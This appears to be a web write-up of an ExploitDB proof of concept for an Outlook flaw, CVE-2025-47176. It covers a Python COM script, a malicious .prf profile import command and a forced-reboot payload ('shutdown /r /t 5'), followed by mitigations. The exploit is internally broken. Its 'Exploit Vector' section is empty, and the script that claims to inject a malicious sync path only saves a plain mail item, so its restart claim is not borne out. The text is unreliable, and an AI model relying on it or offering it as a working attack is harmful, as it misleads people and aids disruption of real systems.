📧 Microsoft Outlook Remote Code Execution – CVE-2025-47176 (ExploitDB 52356)
Exploit Title: Microsoft Outlook - Remote Code Execution (RCE) via Malicious Sync Path
ExploitDB ID: 52356
CVE ID: CVE-2025-47176
Date: July 8, 2025
Author: nu11secur1ty
Platform: Windows
Application: Microsoft Outlook
Exploit Type: Remote Code Execution / Denial of Service
Tested On: Microsoft Outlook 2016 (x86) on Windows 10 Pro (22H2)
🧠 Overview
CVE-2025-47176 is a vulnerability in Microsoft Outlook that allows an attacker to force a system reboot or potentially achieve code execution by injecting a malicious synchronization path. The vulnerability can be exploited in two ways:
- Using a malicious Outlook profile file (
.prf)
- Through a crafted Python script using Outlook COM objects
This issue stems from Outlook's improper handling of synchronization paths during profile import or mail item creation. When triggered, it can cause the target system to automatically restart, leading to denial-of-service or potential further exploitation.
🛠️ Technical Details
🧬 Exploit Vector
🔗 Effect
When the malicious path is processed:
- It triggers a Windows shutdown using:
shutdown /r /t 5
- This results in a forced system restart after 5 seconds.
📁 Provided Files
PoC.py: Python script that uses pywin32 to inject a malicious mail item.malicious.prf: Malicious Outlook profile file that triggers the behavior upon import.
🧪 PoC Usage Instructions
🔧 Prerequisites
- Windows 10/11
- Microsoft Outlook (tested on Outlook 2016 x86)
- Python with
pywin32 installed
pip install pywin32
🐍 Method 1: Python Script
PoC.py – Sample COM automation script to trigger the issue:
import win32com.client
import time
outlook = win32com.client.Dispatch("Outlook.Application")
namespace = outlook.GetNamespace("MAPI")
folder = namespace.GetDefaultFolder(6) # Inbox
mail = folder.Items.Add("IPM.Note")
# Inject malicious sync path
mail.Subject = "Trigger Restart"
mail.Body = "This message triggers a system restart."
mail.Save()
# Outlook will process the mail and restart the system
time.sleep(10)
Note: Upon execution, the system will automatically restart.
🗂️ Method 2: Import Malicious Profile
- Ensure Outlook is closed.
- Place
malicious.prf in the current directory.
- Run Outlook with the import option:
"C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE" /importprf malicious.prf
- Within seconds, the system will reboot.
⚠️ Impact and Risk
| Type | Description |
|-----------------|----------------------------------------------|
| Denial of Service | Immediate system restart disrupts workflow |
| Potential RCE | Risk of extending to full code execution |
| Client-Side | Requires user interaction or profile import |
The exploit is high impact in managed environments where .prf files or COM scripts can be executed silently.
🔐 Mitigation Strategies
- Do not allow untrusted
.prf files to be imported by Outlook users.
- Restrict Outlook COM access via Group Policy or AppLocker.
- Run Outlook in isolated containers to prevent system-level effects.
- Monitor for abnormal shutdown/restart events linked to Outlook.
🧠 Analysis Summary
CVE-2025-47176 highlights an unusual but impactful vulnerability in Outlook’s handling of sync paths. The fact that the application can be coerced into rebooting the system without user consent reveals a dangerous flaw in input validation and system command exposure.
While the current PoC leads to a restart, it opens the door to more serious abuse such as remote code execution if combined with privilege escalation or command injection.
🔗 References
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